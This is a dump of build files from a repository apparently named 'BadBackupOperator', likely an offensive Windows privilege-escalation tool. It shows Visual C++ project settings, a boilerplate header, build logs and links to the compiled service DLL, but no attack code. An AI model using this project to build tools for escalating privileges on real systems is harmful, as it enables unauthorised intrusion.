24 | servicedll 25 | 8.1 26 | 27 | 28 | 29 | DynamicLibrary 30 | true 31 | v140 32 | Unicode 33 | 34 | 35 | DynamicLibrary 36 | false 37 | v140 38 | true 39 | Unicode 40 | 41 | 42 | DynamicLibrary 43 | true 44 | v140 45 | Unicode 46 | 47 | 48 | DynamicLibrary 49 | false 50 | v140 51 | true 52 | Unicode 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | true 74 | 75 | 76 | true 77 | 78 | 79 | false 80 | 81 | 82 | false 83 | 84 | 85 | 86 | Use 87 | Level3 88 | Disabled 89 | WIN32;_DEBUG;_WINDOWS;_USRDLL;SERVICEDLL_EXPORTS;%(PreprocessorDefinitions) 90 | 91 | 92 | Windows 93 | true 94 | 95 | 96 | 97 | 98 | Use 99 | Level3 100 | Disabled 101 | _DEBUG;_WINDOWS;_USRDLL;SERVICEDLL_EXPORTS;%(PreprocessorDefinitions) 102 | 103 | 104 | Windows 105 | true 106 | 107 | 108 | 109 | 110 | Level3 111 | Use 112 | MaxSpeed 113 | true 114 | true 115 | WIN32;NDEBUG;_WINDOWS;_USRDLL;SERVICEDLL_EXPORTS;%(PreprocessorDefinitions) 116 | 117 | 118 | Windows 119 | true 120 | true 121 | true 122 | 123 | 124 | 125 | 126 | Level3 127 | Use 128 | MaxSpeed 129 | true 130 | true 131 | NDEBUG;_WINDOWS;_USRDLL;SERVICEDLL_EXPORTS;%(PreprocessorDefinitions) 132 | 133 | 134 | Windows 135 | true 136 | true 137 | true 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | Create 151 | Create 152 | Create 153 | Create 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | -------------------------------------------------------------------------------- /servicedll/servicedll/servicedll.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | File di intestazione 23 | 24 | 25 | File di intestazione 26 | 27 | 28 | 29 | 30 | File di origine 31 | 32 | 33 | File di origine 34 | 35 | 36 | 37 | 38 | File di origine 39 | 40 | 41 | -------------------------------------------------------------------------------- /servicedll/servicedll/stdafx.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/servicedll/servicedll/stdafx.cpp -------------------------------------------------------------------------------- /servicedll/servicedll/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : file di inclusione per file di inclusione di sistema standard 2 | // o file di inclusione specifici del progetto utilizzati di frequente, ma 3 | // modificati raramente 4 | // 5 | 6 | #pragma once 7 | 8 | #include "targetver.h" 9 | 10 | #define WIN32_LEAN_AND_MEAN // Escludere gli elementi utilizzati di rado dalle intestazioni di Windows 11 | // File di intestazione di Windows: 12 | #include 13 | 14 | 15 | 16 | // TODO: fare riferimento qui alle intestazioni aggiuntive richieste dal programma 17 | -------------------------------------------------------------------------------- /servicedll/servicedll/targetver.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/servicedll/servicedll/targetver.h -------------------------------------------------------------------------------- /servicedll/servicedll/x64/Release/servicedll.Build.CppClean.log: -------------------------------------------------------------------------------- 1 | d:\andrea\servicedll\servicedll\x64\release\servicedll.pch 2 | d:\andrea\servicedll\servicedll\x64\release\vc140.pdb 3 | d:\andrea\servicedll\servicedll\x64\release\stdafx.obj 4 | d:\andrea\servicedll\servicedll\x64\release\servicedll.obj 5 | d:\andrea\servicedll\x64\release\servicedll.dll 6 | d:\andrea\servicedll\x64\release\servicedll.ipdb 7 | d:\andrea\servicedll\x64\release\servicedll.iobj 8 | d:\andrea\servicedll\x64\release\servicedll.pdb 9 | d:\andrea\servicedll\x64\release\servicedll.lib 10 | d:\andrea\servicedll\x64\release\servicedll.exp 11 | d:\andrea\servicedll\servicedll\x64\release\servicedll.tlog\cl.command.1.tlog 12 | d:\andrea\servicedll\servicedll\x64\release\servicedll.tlog\cl.read.1.tlog 13 | d:\andrea\servicedll\servicedll\x64\release\servicedll.tlog\cl.write.1.tlog 14 | d:\andrea\servicedll\servicedll\x64\release\servicedll.tlog\link.command.1.tlog 15 | d:\andrea\servicedll\servicedll\x64\release\servicedll.tlog\link.read.1.tlog 16 | d:\andrea\servicedll\servicedll\x64\release\servicedll.tlog\link.write.1.tlog 17 | d:\andrea\servicedll\servicedll\x64\release\servicedll.tlog\servicedll.write.1u.tlog 18 | -------------------------------------------------------------------------------- /servicedll/servicedll/x64/Release/servicedll.log: -------------------------------------------------------------------------------- 1 |  stdafx.cpp 2 | servicedll.cpp 3 | servicedll.cpp(21): warning C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. 4 | C:\Program Files (x86)\Windows Kits\10\Include\10.0.10240.0\ucrt\stdio.h(205): note: vedere la dichiarazione di 'fopen' 5 | servicedll.cpp(50): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. 6 | C:\Program Files (x86)\Windows Kits\10\Include\10.0.10240.0\ucrt\string.h(119): note: vedere la dichiarazione di 'strcpy' 7 | Creazione della libreria d:\andrea\servicedll\x64\Release\servicedll.lib e dell'oggetto d:\andrea\servicedll\x64\Release\servicedll.exp 8 | Generazione codice in corso... 9 | All 4 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. 10 | Generazione codice terminata 11 | servicedll.vcxproj -> d:\andrea\servicedll\x64\Release\servicedll.dll 12 | servicedll.vcxproj -> d:\andrea\servicedll\x64\Release\servicedll.pdb (Full PDB) 13 | -------------------------------------------------------------------------------- /servicedll/servicedll/x64/Release/servicedll.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/servicedll/servicedll/x64/Release/servicedll.obj -------------------------------------------------------------------------------- /servicedll/servicedll/x64/Release/servicedll.pch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/servicedll/servicedll/x64/Release/servicedll.pch -------------------------------------------------------------------------------- /servicedll/servicedll/x64/Release/servicedll.tlog/CL.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/servicedll/servicedll/x64/Release/servicedll.tlog/CL.command.1.tlog -------------------------------------------------------------------------------- /servicedll/servicedll/x64/Release/servicedll.tlog/CL.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/servicedll/servicedll/x64/Release/servicedll.tlog/CL.read.1.tlog -------------------------------------------------------------------------------- /servicedll/servicedll/x64/Release/servicedll.tlog/CL.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/servicedll/servicedll/x64/Release/servicedll.tlog/CL.write.1.tlog -------------------------------------------------------------------------------- /servicedll/servicedll/x64/Release/servicedll.tlog/link.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/servicedll/servicedll/x64/Release/servicedll.tlog/link.command.1.tlog -------------------------------------------------------------------------------- /servicedll/servicedll/x64/Release/servicedll.tlog/link.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/servicedll/servicedll/x64/Release/servicedll.tlog/link.read.1.tlog -------------------------------------------------------------------------------- /servicedll/servicedll/x64/Release/servicedll.tlog/link.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/servicedll/servicedll/x64/Release/servicedll.tlog/link.write.1.tlog -------------------------------------------------------------------------------- /servicedll/servicedll/x64/Release/servicedll.tlog/servicedll.lastbuildstate: -------------------------------------------------------------------------------- 1 | #TargetFrameworkVersion=v4.0:PlatformToolSet=v140:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=8.1 2 | Release|x64|d:\andrea\servicedll\| 3 | -------------------------------------------------------------------------------- /servicedll/servicedll/x64/Release/servicedll.tlog/servicedll.write.1u.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/servicedll/servicedll/x64/Release/servicedll.tlog/servicedll.write.1u.tlog -------------------------------------------------------------------------------- /servicedll/servicedll/x64/Release/stdafx.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/servicedll/servicedll/x64/Release/stdafx.obj -------------------------------------------------------------------------------- /servicedll/servicedll/x64/Release/vc140.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/servicedll/servicedll/x64/Release/vc140.pdb -------------------------------------------------------------------------------- /servicedll/x64/Release/servicedll.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/servicedll/x64/Release/servicedll.dll -------------------------------------------------------------------------------- /servicedll/x64/Release/servicedll.exp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/servicedll/x64/Release/servicedll.exp -------------------------------------------------------------------------------- /servicedll/x64/Release/servicedll.iobj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/servicedll/x64/Release/servicedll.iobj -------------------------------------------------------------------------------- /servicedll/x64/Release/servicedll.ipdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/servicedll/x64/Release/servicedll.ipdb -------------------------------------------------------------------------------- /servicedll/x64/Release/servicedll.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/servicedll/x64/Release/servicedll.lib -------------------------------------------------------------------------------- /servicedll/x64/Release/servicedll.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/BadBackupOperator/22942a99b501435abd197625b1168466ba7ef2bd/servicedll/x64/Release/servicedll.pdb --------------------------------------------------------------------------------